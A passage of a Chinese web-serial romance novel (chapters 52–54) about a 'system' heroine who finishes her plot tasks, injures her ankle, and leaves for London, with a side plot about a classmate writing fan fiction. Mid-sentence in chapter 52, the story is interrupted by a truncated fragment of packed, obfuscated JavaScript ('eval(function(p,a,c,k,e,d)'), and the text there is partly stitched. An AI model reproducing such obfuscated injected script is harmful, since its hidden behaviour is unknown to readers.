铅灰色的乌云仿佛被这一动静劈开一道裂缝,第一缕阳光穿透阴霾,如金色的绸缎般披在骑士染血的盔甲上。 他颤抖着摘下头盔,汗湿的头发凌乱地贴在额前,几道血痕蜿蜒过小麦色的面颊,大口大口地喘着粗气。 但温初夏的呼吸却在一瞬间停滞了,并且也不管周围空气中的尘土如何飞舞,一双眼睛睁得老大—— 不,那根本不是宋云泽…… 而是,季明轩??!!! 不久后,巨龙尸体散发出的浓重血腥味传到附近,马儿受到惊吓,瞬间跑得更快了,把温初夏晃得几乎坐不稳,只能回头,专心驾马,怕它把后面的时准颠下去。 马车穿过城门楼时,温初夏急不可耐地从怀里拿出古籍,翻开,最后一节诗真的出现了。 【红玫瑰在世间最炽热的心脏中生长。 它的刺坚硬如铁,刺穿沉默的夕阳, 它的瓣厚实如丝,闪动淋淋的血光, 用生命换取一个亲吻是否值得? 只怕是飞蛾扑火,不过梦一场。】 下一刻,身下奔跑的俊马忽然失踪,四周变成一片刺眼的白,手中古籍也化作了灰烬,消失不见。 在惯性的驱使下,温初夏奔跑起来,耳边传来系统的机械音—— “终极任务清算中……” “清算结束,主线任务最终完成度为100%,隐藏任务未完成,遂无额外奖励。” “恭喜玩家顺利通关,即刻返回原始界面。” 温初夏懵:啥?!居然还有隐藏任务,额外奖励又是什么??? 不过她并没有感到丝毫惋惜,因为能回去,对她来说就是最大的奖励了。 跑着跑着,白光渐渐褪却,模糊的欢呼和加油声从四面八方传来,脚下的路换成了体育馆的塑胶跑道,空气由湿润变得干燥,周围环境的色彩也由单一变得繁杂。 回来了。 终于,回来了! 还没来得及高兴,下一秒,温初夏右脚一抽,重重摔倒在了跑道上,脚踝和手肘都是一片火辣辣的疼。 淦! 她心里怒道:瘸腿怎么也回来了啊?! 52. 第 52 章 男更衣室。 两三下将身上的击剑服脱下,换回蓝白配色的夏季运动套装,衣物摩擦发出窸窣声响,宋云泽侧目,看着置物柜柜门内侧镜子里的自己—— 清晰的轮廓犹如刀削,俊美的五官凌厉到近乎嚣张,剑眉星目,锐气逼人。 帅中不足的是,他的脸色却十分差劲,像是萦绕着一团蓄满雷雨的阴云,两撇浓眉轻拧着,散发出生人勿近的强烈气场。 不过,好在周围并无旁人,没有人看见他这副落败者的可怜样子,让他有足够的时间和空间来自我调节。 呼—— 宋云泽闭上眼,无声地呼出一口又长又沉的叹气,再睁开,脸色缓和了许多,但心跳得依旧沉闷。 输了就是输了。他想。 怪我刚才反应慢了一拍,才让时准有了可乘之机。 就是一场击剑比赛而已,别太放在心上…… 把乱蓬蓬的白金短发稍微理顺,宋云泽正欲拿起储物柜里的电子表戴上,忽然,心脏和脖颈两个地方猝不及防传来剧痛,像被刀捅穿了似的。 “嘶。”他赶紧用手一摸,没有血,凑近镜子一看,脖子上也没有丝毫伤痕。 奇了怪了。 宋云泽揉着胸口,心有余悸地坐在身后的条形凳上。 我刚才是怎么了? 俊美的脸上一片空白,目光空洞。 他依稀意识到,自己好像忘记了一些很重要的事情,正试着想要努力回忆,后脑勺却陡然开始坠涨发疼,冥冥之中,如同一种无声的警告。 这时,储物柜后传来有人摔倒的动静,和一声闷哼。 “你怎么了?” 宋云泽吓了一跳,忙绕过去,看到时准倒在更衣室的地板上,双手抱头,耳根通红,齿缝间溢出克制但痛苦的呻吟,像是突发恶疾。 时准没有回应,不知道是没听见,还是难受的没法开口。不仅如此,他还咬紧了牙关,把原本就很微弱的呻吟尽数咽下喉咙,势必不让赶来的人听到一点。 都痛成这样了,还逞什么能? 宋云泽有些生气,但更多的是担心和着急,蹲在时准身边,拍了拍他的肩,又问:“你到底怎么了?哪里不舒服?是小腿肌肉抽筋了吗?” “……叫、叫救护车。” 他声音太小,宋云泽没听清,忙低下头,几乎要把耳朵贴到了他抱着脑袋的胳膊上,皱眉道:“什么?” “救……护……车。” “我头……好疼……” 说完,时准竟开始浑身抽搐起来。 这回宋云泽终于听清了,并且被时准的症状吓了一大跳,心说头疼哪儿有这个疼法的啊,手臂的青筋都要爆开了,确定不是中毒了吗? 他忙用手表打了120,然后出去找老师和同学帮忙,没想到一出男更衣室,就远远地看见了温初夏在跑道上平地摔的画面。 急促的脚步稍顿住半秒,接着立刻向跑道上的女孩飞奔而去。 该死!她不是不能跑步的吗? 谁给她报的名??! 中途路过在跑道边缘沉默地手拉着手,互相对视的李确和周雅宜时,宋云泽虽然很不明所以,但时间紧迫,他根本来不及产生好奇,冲他俩大喊: “快去男更衣室!时准晕倒了,我已经打了120,你们先去照顾他一下。” 这一嗓子让那俩终于回过神来,两人如梦初醒,触电般松开手,一个红着脸,疯狂道歉:“对不起对不起我也不知道为什么会牵你的手,我走神了对不起……” 说着,还莫名掉下几滴滚烫的眼泪来。 另一个则双耳通红,疯狂说:“没关系没关系其实我刚才也在走神……欸?别哭啊,就是拉了个手而已,这没什么的,我完全没有想怪你的意思,不哭不哭。” 周雅宜脑子乱成一锅浆糊,不知道该如何解释,只能继续接着道歉:“对不起,我也不知道我为什么想哭,但我就是忽然心里觉得好难过呜呜呜呜……” 刚崴到的一瞬间,温初夏不觉得有什么,只是大脑空白了一下,甚至都没有感觉到痛。 不曾想短短几秒之后,右脚脚踝就跟内嵌了块烧红的炭火一样,又滚烫又刺痛,她抱着膝盖在满是塑胶味儿的跑道上左右打滚,同时赶紧在交流频道call粉团子: “快!帮我把痛觉屏蔽掉,我要死了!!!” 结果粉团子却幽幽道:“不行的哦宿主,系统有规定,守护者如果想在关键剧情期间封闭感官,是需要提前24小时向总部做书面申请的。这回只能委屈你忍一忍了。” “什么时候出的破规定?我怎么一点儿印象也没有!” “大概一周之前,从昨天才刚开始生效。” “……” “宿主你这些天太忙了,没注意看系统通知。也怪我没提前告诉你,我检讨,宿主请你不要怪我好不好?” 温初夏裂开,从左边滚到右边,已经痛到有些抓狂了:“可现在这、这这这算什么关键剧情啊?!” 就崴个脚而已,怎么就关键上了? “当然算了。”粉团子说,“系统把你上次在向日葵小学副本里没能完成的‘告白’任务挪到这儿来了,大概剧情你还有印象不?就是你崴伤了脚,宋云泽抱你去医务室,然后你俩……” 话音未落,男主角就到场了—— “初夏!”宋云泽挤进人群,将围在四周的其他同学推开,单膝跪在她身边,担忧道:“你怎么样?” 目光落在温初夏抱紧的右腿上,又忙问:“是扭到脚了吗?还是骨折了?” 温初夏微微扬起脸,脸色惨白,小巧的鼻翼翕动,汗水打湿的发丝粘在额头和面颊上,看起来十分脆弱,像一朵被暴雨淋湿的小白花,让人忍不住心生保护欲。 “不知道……你能、抱我去医务室吗?”温初夏气若游丝,泛红的眼底闪动着晶莹的泪光。 同时在心里给自己点赞:试问全穿书局还有比我更敬业的守护者吗?都要痛撅过去了,还不忘做任务,该死的总部就知道欺负像我这样的老实人。 等《等风说雨停》的剧情结束了,她一定要在论坛里发一个讨伐帖,骂死这个屁用没有只知道拖她后腿的垃圾系统! 粉团子瑟瑟发抖:“宿主,到时候可以不要连我一块儿骂吗?” “好。” 宋云泽一口答应,动作小心地将温初夏横抱起来,看着怀里痛到嘴唇发白的少女,心脏也感同身受地一阵发疼。 他迈开步子,说:“我现在就带你去医务室。” “欸!等一等等一等。” 季明轩匆忙从观众席赶来,拦住他们,气喘吁吁道:“别去医务室了,直接去医院吧,我感觉她这伤得还挺严重,最好是要做一套全面的检查。” 120出动的速度比预料的要快很多。 十分钟后,温初夏躺在担架床上,被抬进救护车里,虽然脚踝犀利的刺痛并未缓和半分,但她的思绪却渐渐活泛起来,目光一动不动地盯着车顶,表情看起来像是发呆,其实是在意识里和粉团子交流。 “剧情地点从医务室换成医院,应该没影响吧?” “没。只要男女主最后成功确定了关系就行。” 那就好。 温初夏略微放下心。 又躺了一会儿,她察觉到有什么不对,偏头看向旁边的宋云泽,问:“为什么还不开车啊?”自己都上车快三分钟了。 宋云泽忙握住她的手腕,安抚地捏了捏,轻声说:“稍等一会儿,时准也要去医院。” 温初夏双眼瞬间放大:??? 她干巴巴地问:“他去医院、干嘛啊?” 难道是想陪我吗? 别啊!那我还怎么做任务! 一想到这儿,温初夏恨不得当即身残志坚地爬去驾驶座,左脚把油门踩到底。 谁知宋云泽的回答却是—— “因为他刚才在更衣室里晕倒了。” “他为什么会晕倒?中暑吗?” 抗拒烟消云散,转而变成了浓浓的担忧,温初夏胳膊撑着床垫,上半身刚坐起来一点,就被宋云泽不由分说地按了回去。 “好好躺着。”他斟酌了一下用词,说:“不是中暑,他好像是因为头疼才晕倒的,其他都没事,应该不是什么大问题,你别担心。” 温初夏不情不愿地把脑袋放在枕头上,心想:怎么能不担心,都晕过去了诶,我刚才痛成那样都没晕。时准他平常身体挺健康的啊,怎么会忽然…… 等等。 她忽然福至心灵,忙再去问粉团子:“总部那边给进入到副本的角色清除了几遍记忆?” 粉团子:“按照你的要求,时准十遍,宋云泽三遍,其余人一人一遍。” 温初夏:“……” 她好像明白时准为什么会头痛了。罪过罪过。 救护车上,医生给温初夏做了冰敷和加压包扎处理,再给她手肘的擦伤抹了碘伏。 到医院后,迎接她的又是一揽子检查,X光和CT都拍了,又面诊了好几个骨科医生。 直到中午,温初夏才终于躺在VIP病房的床上,一旁的护士姐姐正在准备打石膏的材料和工具。 主治医师手里拿着一叠黑黢黢的片子,站在床边,表情凝重地开口:“你这个小姑娘啊……右脚是不是以前就受过伤?” “嗯。” 温初夏点点头,半小时前吃的止疼药开始发挥作用,脚踝的痛感减轻了非常多,她心情好了不少,导致回答的语气有点像聊天: “五年前,粉碎性骨折,在床上躺了快一年才勉强能下地。” “那你还敢参加长跑比赛?!年轻人就是不爱惜自己的身体。” 白大褂的眼睛忍不住瞪了病床上的人一下,又看向手里的片子,叹气道: “虽然只是轻度位移的骨折,但因为你这个地方之前就有旧伤,而且还是很严重的旧伤,这回哪怕不在床上躺一年,至少也得是半年,或者8到10个月,看你6周之后复查的结果如何——通知家长了吗?” 温初夏懒懒的:“下午就通知,我爸工作忙,中午接不了电话。” 开玩笑,如果她现在就给温汝峰打电话,告诉他自己可怜的右脚又遭罪了的话,保证不出二十分钟,这间病房就会挤满人,把她当做珍惜动物一样团团围住。 那还怎么走剧情? 打完石膏,护士姐姐把温初夏“白白胖胖”的右腿用悬吊支架吊起来,促进血液回流、减轻肿胀,又从床头柜里拿出遥控器,把床头调成半卧式的角度,把枕头竖着放,让她可以很舒服地靠着。 “谢谢。”温初夏道谢。 “不客气,应该的。”护士姐姐笑着说,“好好养伤啊小美女,一定不要乱动,有什么需要直接按铃就好。” “嗯。” 目送护士推着治疗车离开病房,门关上,温初夏把目光移到自己滑稽臃肿的右腿上,试着想要动一动藏在绷带里的脚趾,没能成功,正欲再努力一下,这时,给她买午餐的宋云泽回来了。 “饿了吗?”宋云泽拉过凳子,坐在床边。 “还行。”温初夏摸摸病号服之下的肚子,“本来有些饿的,但刚才不是吃了一大把药吗,直接半饱了。” 宋云泽笑了笑,把保温袋打开。 里面装的是很适合病号吃的松茸鸡汤饭,但温初夏心里揣着事,再加上本来就不饿,所以没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋云泽走回床边,因为紧张和无措,他并未注意到自己居然同手同脚了,半推半就,生涩地向梦寐以求的女孩告白:“我当然是,喜欢你了。” “那太好了。” 女孩甜甜地笑起来,上眼睑微微拱起,形成两道柔和的月牙弧。 可若仔细观察就会发现,中心的瞳仁没有泛起丝毫涟漪,就像被精心打磨过的黑色玻璃珠,虽然能清晰地映照出面前人的影子,但这影子,却是冷的。 像幅用细腻笔触勾勒,却忘了填色的工笔画。 她笑盈盈地说:“我也喜欢你。等一年后我的腿养好了,我们就一起出国留学吧,好不好?” “砰!” 房门外传来重物落地的声音。 紧接着,一罐甜牛奶落寞地从门缝滚了进来。 宋云泽侧目,看见一道熟悉的身影从门外离开,忙开门去追。 医院的走廊很安静,宋云泽只能压低声音,急切道:“时准,你、你等等!” 此话一出,前面的男生果然停下脚步,转过身,看他的目光简直像是在看一个陌生人。 没想到这么容易就把人叫住了,宋云泽反而尴尬起来,摸了摸后脑勺,极端复杂的情绪在胸腔中起伏不定,一开口,下意识地选择先寒暄两句: “你身体怎么样?检查结果没什么问题吧?” “你们已经决定了?” 苍白的嘴唇轻微开合。 宋云泽:“什么?” 他的脸色太冷,眼神太冷,声音也太冷,冷白的皮肤在头顶冷光的照射下,浑身上下像裹了一层厚厚的雪,只一句话,就将宋云泽乱七八糟的情绪全部覆盖,只剩下白茫茫的一片。 时准:“一起出国留学。” “……”宋云泽噎住半晌,接下来的话说得有些艰难:“其实,刚才是她第一次和我提留学的事。” 我为什么要和他解释这些? 宋云泽在心里问自己。 这又不是什么见不得人的事情。 于是他又强硬起来,坦诚道:“但我当然求之不得了,你也知道,我一直喜欢初夏,之所以愿意好好学习,也是为了能够追上她的脚步。” “你们,现在是男女朋友了?” “算是吧。”宋云泽耸耸肩,表情有点害羞,笑着道:“我刚才都跟她表白了,她说她也喜欢我,你在门外没听到吗?” 宋云泽离开后,时准独自一人,在走廊的窗边站了许久。 期间,不时有人从他身边路过,暗中投来或疑惑或关切的目光,但因为他的脸色实在阴沉得可怕,再加上没穿病号服,所以都不敢上前关心打扰。 屋外正暴雨倾盆,豆大的雨滴拍打在窗玻璃上,炸开后,连成交错的银线。 电闪雷鸣间,玻璃映照出少年瘦削的倒影,被雨水蜿蜒滑落时留下的痕迹,切割成残酷的碎片。 . 学校。 第一天的运动会结束,周雅宜去教室收拾书包,准备回家。 雨还在下个不停,不过相比中午遮天蔽日到分不清白天黑夜的程度,现在的雨势要小不少,但还是必须得打伞,否则半分钟不到就会被淋成落汤鸡。 周雅宜单手握着伞柄,冰凉的金属杆紧靠着脖子,不一会儿就和体温融为一体。 她走在校园湿淋淋的柏油路上,因为怕摔倒,一直低头看着脚下的路,直到视线里出现了一朵白色栀子花。 柔嫩丝滑的花瓣被雨水洗得透亮,像裹着一层透明的薄纱,簇拥着最中心的金黄花蕊,飘荡在花坛边的积水中央。 正当周雅宜想踮着脚尖走近一点,把这朵花捡起的时候,没想到却有不速之客和她抱有相同的心思,抢先一步弯下腰,将花拿到手里,雨线顺着伞骨簌簌滑落。 周雅宜本来是有些生气的,但在看见对方直起身,伞檐下露出的脸后,不知为何,刚升起的怒气瞬间就烟消云散了。 她抿了下唇,脸颊肉也跟着鼓了鼓,脆生生地开口说: “这是我先看见的。” 李确愣了两秒,将花递给她:“那,给你。” 53. 第 53 章 又是一年春深初夏。 温风和煦,草木疯长,蝉鸣渐起。 距离高考还有两个多月的时候,宋云泽就不再来学校上课了。 其实最近班里少的人不止他一个。清荟作为S市顶级贵族高中,每年都会有20-30%的学生出国留学,另外还有近10%的人,走的是国内的保送通道。 高三下学期刚开学不久,班里就陆陆续续空出了六七个座位,让本就人丁不旺的教室显得更加空旷。 这节是数学课,戴着黑框眼镜的冯佑正在讲台上总结周考试卷的考点和难点,身后的电子屏幕写满了解题步骤和公式,讲得极其投入,洪亮如钟的声音不用扩音器,也能清晰地传到教室的每个角落。 但李书雪却一个字也听不进去,左手托腮,右手转笔,盯着教室后门那两个空荡荡的位置看了很久。 李书雪从小就不是爱学习的人,也觉得自己不需要学习,哪怕高二下学期成绩莫名其妙突飞猛进了一把,她也没当回事,依旧是该吃吃该玩玩,不到半学期,排名就又掉回了车尾。 与之形成鲜明对比的,是周雅宜。 此刻,李书雪正发着呆溜着号,而处于她余光边缘的周大小姐却在奋笔疾书地狂记笔记,表情极为认真,抬头看向黑板时,两只眼睛散发出对知识如饥似渴的精光。 这都下午最后一节课了,她还是会偶尔端起放在桌角的咖啡,灌一口,也不怕晚上睡不着。 之所以这么拼,当然是有原因的。 李确已经保送S大了,要想未来四年还和他呆在同一所学校,周雅宜就必须把握住高考前最后十几天,把每堂课都当做最后一堂来听,努力到连各科老师都觉得惊讶。 毕竟这位大小姐以前可是从来不学习的,也没人敢逼她学,连在课上光明正大睡觉老师都不敢管。 没想到一升入高三,就立马跟变了个人似的,从早到晚废寝忘食,不知道的还以为周氏银行是不是破产了。 知情人士表示,这哪里是家道中落,分明是爱情的力量太伟大。 酸不溜丢感慨完,李书雪收回视线,百无聊赖地从桌肚里拿出手机,放在翻开的书里,点开某小说APP,屏幕上方立刻弹出一条消息: 【您关注的作者“温情时刻”在十五分钟前跟新了,赶紧去一睹为快吧】 双击消息框两下,跳转到阅读界面。 一目十行地看完更新章,同时也是整本小说的最后一章后,李书雪点进评论区,里面正讨论得热火朝天—— 1L:sofa! 2L:完结撒花[花花] 3L:接近一年才写了27章,10万字,这个更新频率,我信大大是高三牲了 4L:马上就是6月了,大大高考加油哦,这篇写得超棒,等你暑假开新文[星星眼] …… 7L:“少年拼命追着风跑,却无法阻止炽热从指缝间溜走。夏天当然还会再来,可他的夏天,永远定格在了17岁那年的雨季。”这句作为结尾简直了[大哭] 底下评论:17岁那年的雨季,我们有共同的期许,也曾经紧紧拥抱在一起……抱一丝唱起来了 8L:结局是BE能不能提前标在文案里啊,本铁血HE党快被刀傻了 …… 12L:本来以为上一章男主去女主的出租屋挽留女主,卑微地求她陪自己过完这个夏天再走就已经够虐了,没想到这一章更是重量级,好纯好虐,我在地铁里哭得像个一百拔十斤的胖纸呜呜呜 13L:妹宝糊涂啊!男二有什么好的,各方面都比男主要差一截,干嘛非要和他一起出国?还故意伤男主的心,说之前之所以和他走得近,纯粹是因为同情他妈妈一直把他当成妹妹的替代品,是可怜他才对他这么好的。 宝宝,你不想说话可以不说,但别乱说啊!我都想拿根针把你嘴缝上。 14L:竹马比不过天降,我懂,但破碎感拉满的清纯小狗为毛比不过嚣张叛逆的中二少年啊?是我们石小狗不够香不够听话不够破碎吗[头顶问号] 15L:看文案写着“根据真实故事改编”,所以女主人设是有原型的? 底下回复:故事可以是真的,但人设绝对掺了假,现实生活中怎么可能会有顶级富家女装穷的?清贫到要靠奖学金生存,住在破破烂烂的出租屋里,成绩还那么好……这完全就是小说圈烂大街的梗啊! “温情时刻”本人也在刚刚回复了这条评论:艺术源于生活但高于生活嘛,大家看得开心就好~ 李书雪抬眼一扫,发现斜前桌的姜荞语果然也低着头,在桌肚里悄咪咪捣鼓手机,于是退出小说软件,转而点开微信。 李书雪:【完结快乐哦,大作家】 对方几乎是秒回:【啊啊啊啊啊不要这么叫我!我就是写着玩儿的!!!】 紧跟了个“瑟瑟发抖”的表情包。 李书雪笑着打字:【温初夏和时准知道你在写他俩的同人文,笔名还是他俩CP名的事吗?】 姜荞语:【当然不知道,我跟他俩又不熟】 姜荞语:【你要帮我保密啊[大哭],不然以后同学聚会我就没脸参加了[脸红]】 李书雪极力忍住不笑出声,又道:【我很好奇诶,既然不熟,那你是怎么磕起来的?要磕也应该磕温初夏和宋云泽啊,你怎么磕她和时准呢?】 那边沉默了一会儿,回:【只能说CP感是一种很玄妙的东西,虽然大家都说wcx和syz很般配,但我就是觉得sz和她才是最配的,牛羊配,天仙配,全银河系第一配】 姜荞语把头埋得更低,悄悄透露:【而且有件事真的很奇怪(我只告诉你一个人千万补药和别人说啊),去年五六月份的时候,我经常做关于他俩的梦】 【什么梦?】 【chun梦……】 啥?! 李书雪当即倒吸一口凉气,注意到周围人向她投来不解的目光,赶紧轻咳几声,遮掩过去。 她有些消化不良,问:【是你们三个人一起吗?】 【就只有他!俩!】姜荞语吓死了,手机差点儿扔飞出去,【你的脑回路怎么比我的梦还清奇呢真是[擦汗]】 李书雪甩来好几个带问号的表情包。 【为啥啊?人一般做春梦的主角不都是自己吗?你的怎么是别人】 【为什么,我也想知道为什么[微笑]】 姜荞语悲凉地回:【反正那段时间每天晚上我只要一闭上眼,脑海就自动浮现出他俩那啥的画面,说真的,我都怀疑是不是老天奶想强迫我磕他俩,所以才让我做了那么多奇奇怪怪的梦】 李书雪:【……你不干净了】 【是啊。】但姜荞语并不难过,【干不干净不重要,重要的是这样磕CP,真的,好爽!】 “爽你大爷。” 温家别墅,二层东边卧室。 温初夏独自一人窝在房间角落的软皮沙发上,墙壁的投影仪正播放某部经典电影,但她并没有看,而是拿着手机开着免提打电话。 “离我受伤都过去一年了,我那便宜老爸还是不准我出去自由活动,无论走哪儿都得有人跟着,稍微多走几步路就开始催我回去休息,烦都烦死了!” “换个骂人的方式吧大闺女,我本来就是你大爷啊。”电话那头传来1107苍老浑厚的声音,伴随着几道鼠标点击声,他乐呵呵又贱嗖嗖道: “别身在福中不知福了,我家李确一从学校回来,就开始打工找兼职,说要自己赚以后的学费和生活费,每天早出晚归比上学还累,你有什么好抱怨的?只用张嘴吃饭闭眼睡觉而已,外加时不时尿个尿拉个……” “呵呵。”温初夏打断他,不甘示弱:“你怎么知道李确每天早出晚归只是为了打工,人家还在给你未来孙媳妇儿补课好吗。” “……” 鼠标点击声停住。 “我警告你,屎可以乱吃话不能乱讲啊,那个小姑娘算我哪门子孙媳妇儿?”果不其然,1107从云淡风轻变为抓狂,数落道: “又娇气又任性,除了长得和我家李确勉强算是般配外,简直没有一点可取之处!真不明白李确到底喜欢她哪一点。养了这么多年,这孩子什么都像我,怎么唯独没有继承我优秀的眼光呢……” 温初夏笑而不语,心中腹诽:拜托,李确哪点和你像了?如果真的什么都像你的话,周雅宜怎么可能会喜欢他啊。人家堂堂千金大小姐,什么优质帅哥没见过? 没听见温初夏吭声,1107丝滑地转换话题:“留学的手续都办好了?多久走?” 鼠标声又起,“我前些天还听李确他们在商量,说到时候想去机场送你……” “他们?”温初夏立刻直起背,有些慌张:“指的是谁们?” 1107早已活成一枚人精,当然知道她在慌什么,语气略带嘲笑,说:“就是他们几个平时玩得比较好的小朋友呗——放心吧,没有时准,人家疯了吧要来送你俩,这不纯纯是自虐找晦气吗。” “……哦。” 温初夏躺回沙发,不知为何,情绪忽然在这一刻低落了下去,像一张揉皱的白纸,无论如何也无法抹平。 “你在干什么?”她没话找话,“玩电脑吗?我听见你点鼠标的声音了。” “不,我在炒股。”1107开始忙起来,语速飞快地回了她一句:“这边股市开盘了,先挂了啊,改天聊,拜。” 通话干脆利落地结束。 温初夏:??? 你多大年纪了还炒股?就不怕把养老金给亏没了吗! “砰砰砰。” 身后响起敲门声。 温初夏:“谁?” “姐姐。”门外传来温景澈怯生生的声音,“晚饭做好了,可以下楼吃饭了。” “不吃——不饿——” 说完,温初夏就拿起旁边茶几上打开的薯片袋,往嘴里倒了两口,噼里啪啦地嚼着,手握遥控器,把电影进度条拉回打电话前的位置。 谁知外面那小鬼居然没走。 “可是你中午就没吃几口,怎么可能不饿,晚上如果还不吃的话,肠胃会难受的。”温景澈又轻敲了两下门,好声好气道:“姐姐,你就下楼吃一点吧,孙阿姨做的全是你喜欢吃的菜。” 有病吧这小破孩! 温初夏一秒怒气上头,舔干净粘在嘴唇上的调料,扭头,毫不客气地吼道:“我说了不饿就是不饿,听不懂人话是不是?你爸现在不在家,用不着在这里假惺惺地演戏,又没人看。” “可是姐姐……” “滚——再不滚信不信我出来揍死你?” “季明轩,你再不从副驾驶滚下来,信不信我揍死你?”说着,周雅宜手伸进车窗,揪住季明轩的耳朵,用力把他往外拉。 “诶诶,君子动口不动手啊!” 季明轩疼得龇牙咧嘴,忙不迭打开车门下去,站在马路边,边揉耳朵边委屈道:“我又没有要抢你的位置,就只是好奇想多看两眼而已嘛。” “你从小到大是没见过车吗?这都需要好奇一下。” 周雅宜很没好气,坐到副驾驶,关上车门,对着后视镜整理发型。 李确贴心地替她系好安全带,又把季明轩刚才动过的座椅靠背调回原状,服务意识满分。 “但这辆是最新款啊,最近在网上特别火,连宋云泽都说很难买呢。”季明轩窝窝囊囊地钻进后排,和翘着二郎腿正在抹唇膏的李书雪坐在一起,两人之间隔了一个位置。 李书雪附和:“是啊,我前些天跟我的一个堂哥吃饭的时候,他说他也想买一辆来着,结果问了好几个4S店的朋友都说没有现货,要等好几个月。” 她把小镜子塞回包里,偏头看了眼驾驶位的人,夸张道:“李确你可以嘛!居然刚毕业就考上驾照提上车了。” “哪有,这是我爷爷给我买的。”李确很谦虚。 “哇。”季明轩哪怕坐在车里也安分不下来,扒拉着副驾驶的座位,撅腚感慨:“你爷爷好疼你啊,我妈给我的毕业礼物就只是一架天文望远镜而已——你家原来这么有钱的吗?” 周雅宜转头给了他一个脑瓜崩:怎么说话的你! 但李确丝毫没有感到冒犯,笑笑说:“实不相瞒,我第一次看见这辆车的时候也和你一个反应。我爷爷说买车的钱是他早些年在银行存的死期,今年刚好能取,正好我又考上了驾照,就全拿来给我买车了。” 李书雪很羡慕:“你们的毕业礼物都好酷啊。我爸妈因为我高考成绩不理想,就只愿意奖励我去日本旅游半个月,但我去日本都要去吐了,还不如国内游呢。” 欢声笑语间,李确发动汽车。 第一次开车载这么多人上路,他难免有些紧张,目光平视前方,一言不发,被周雅宜察觉出来。 “紧张啊?”她问。 李确紧握方向盘,微微点头:“有点儿。” “要不放首歌吧。”季明轩额头的红印还没消,就又不怕死地冒头,“开车不听歌,等于 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周雅宜和李书雪同时捂住耳朵:“这是什么歌?听着好可怕!”“好诡异的调调,我鸡皮疙瘩起来了!”“STOP!快关掉快关掉,换一首换一首!” 李确也吓到了,心中一跳,差点儿一脚油门踩到底,忙手动把音乐关了,后背出了一层冷汗。 要命的音乐消失之后,四人都长舒一口气。 然后,心中升起同样的疑惑—— 好奇怪,我为什么会怕这首歌??? . 机场大厅。 巨大的玻璃幕墙外,隐隐传来飞机引擎的轰鸣。值机柜台前旅客拖着行李箱排队,电子屏上航班信息不断滚动,广播里传来登机提示。 “出国之后要好好照顾自己哦。”不管温初夏如何抗拒,周雅宜都强行抱住她,红着眼圈,依依不舍:“今年春节会回来吗?” 温初夏最讨厌这种黏糊糊的场面,老大不自在,从头到脚僵成一根法棍,敷衍道:“到时候再说吧,应该会回的。” 哈哈,她骗小孩的,当然不会回来了,要是一不小心碰到时准怎么办。 温初夏势必要在国外呆到,时准已经彻底放下她或者忘掉她为止,应该差不多就是霸总文剧情线开始的时候。 季明轩收回视线,拍拍宋云泽的肩膀,说:“国外不比国内安全,要保护好身边的妇女儿童啊。还有,有空一定多联系,我除了晚上睡觉,其余时间应该都在线,想打游戏,随时callme。” “你忘了,你俩之间隔着一个太平洋的时差呢。”李确提醒,“你睡下那会儿,人家说不定刚好起床。” 季明轩嘴角瞬间垮下去:“……” “没事。”宋云泽笑起来,也拍拍他的肩,“我可以熬夜陪你打。” 季明轩“欸”了声,“不愧是我的好兄弟!” 另一边。 “哎呀,行了行了。”李书雪见温初夏脸都红了,忙把黏在一起的二人拉开,嗔怪道:“你快把人家勒断气了。” 又看着温初夏:“雅宜把该叮嘱的话都叮嘱完了,这……我也不知道还能说什么,就祝你一路顺风吧,好好吃饭好好生活,多喝热水。” 温初夏被逗笑:“知道了,我都这么大个人了,还会照顾不好自己吗——天快黑了,你们回去吧,让李确晚上开车小心点儿。录取结果出来了记得第一时间告诉我哦。” “好。” “那当然会了。” 目送四人组离开后,温初夏把行李箱留在原地,让宋云泽看着,从包里拿出护照去柜台办理值机,很快便拿着登机牌回来。 上面的航班信息显示,是从S市到英国伦敦的头等舱,登机时间为晚上8点23分,抵达时间为第二天早上8点。 粉团子冒出来,问:“宿主,最后一个任务你就这么放弃了啊?” “嗯。”温初夏没什么情绪。 《等风说雨停》的最后一个剧情点,是女主和宋云泽出国前夕,时准来机场送他俩,把默默付出不争不抢的男二人设体现得极致,发挥工具人最后的一点光和热。 这个任务其实很简单,但因为温初夏实在不想见到时准,更确切地说,是不希望时准见到她,所以在接收任务信息时,她连犹豫都没有,直接就放弃了。 天渐渐黑了,机场大厅却灯火通明,如同白昼。 各自去往登机口前,宋云泽仍不死心,尝试做出最后一次挽留:“你真的不愿意和我一起去美国吗?或者我和你一起去英国也行。” “这个问题你已经问过我很多次了。” 分别在即,温初夏有种卸下重担的轻松,嘴角扬起一个浅淡却真诚的微笑,委婉道:“以后逢年过节,我会给你发祝福短信的。但也仅此而已了。” 宋云泽沉默两秒,抬起微红的眼眸,松开行李箱拉杆,张开手说:“那,最后拥抱一下吧。” “好。”温初夏没有拒绝,刚走近一步,就立刻被对方搂入怀中,用力抱住。 仔细想想,自己多少还是有些对不起他。 温初夏仰着头,轻拍少年温热的后背,笑着说起心灵鸡汤: “别这么伤感,分手不是终点,而是你美好人生的起点。以后到了大学,你会遇见很多各方面都很优秀的人,到那时候你就会知道,我这个前女友其实根本不值一提……” “叮!” 突然,她脑海里响起系统音: “恭喜宿主,您已完成《等风说雨停》的最后任务。经检测,女主【温初夏】的角色完成度为68.7%,勉强合格,获‘再接再厉’奖章一枚,增加个人经验值200点。” 安慰的话戛然而止,温初夏整个人呆住。 什么意思? 最后一个任务完成了? 可我并没有让时准来送我啊,甚至还叫周雅宜他们不要告诉时准我的航班日期,他怎么可能…… 不对。 时准是可以知道的,因为他能感应到我的位置,难道他一直都……! 他在哪里?他在哪儿?! 他离我多远?正在看着我吗?以什么样的心情? 他会……哭吗? 如同被一支冷箭贯穿后背,温初夏的心脏狠狠揪了起来,疼痛极了。 泪水在眼底迅速积聚,然后悄无声息滑落。 她闭上眼,在宋云泽耳边轻声说: “如果可以,忘了我吧。” 54. 第 54 章 暮春。 雨夜。 黑色出租车的车窗被一层不断流动的水幕覆盖,街边刺眼的霓虹、幽暗的壁灯、还有笔直的路灯,都融化成了模糊的、颤动的色块,像一幅被水洗坏了的印象派油画。 街道湿漉漉反着光,倒映出周围建筑扭曲的轮廓,行人缩着脖子匆匆而过,化作模糊的深色剪影。 今晚的伦敦,又是坏天气。 出租车后排,裹着Burberry经典款风衣的女人脑袋向右,歪在肩膀上。 她额角抵着窗玻璃,描有锋利眼线的双目轻阖,原本精致的唇妆在推杯换盏间早脱得一干二净,浑身散发出的浓烈酒气,与车内湿冷的空气默默交融。 十分钟后。 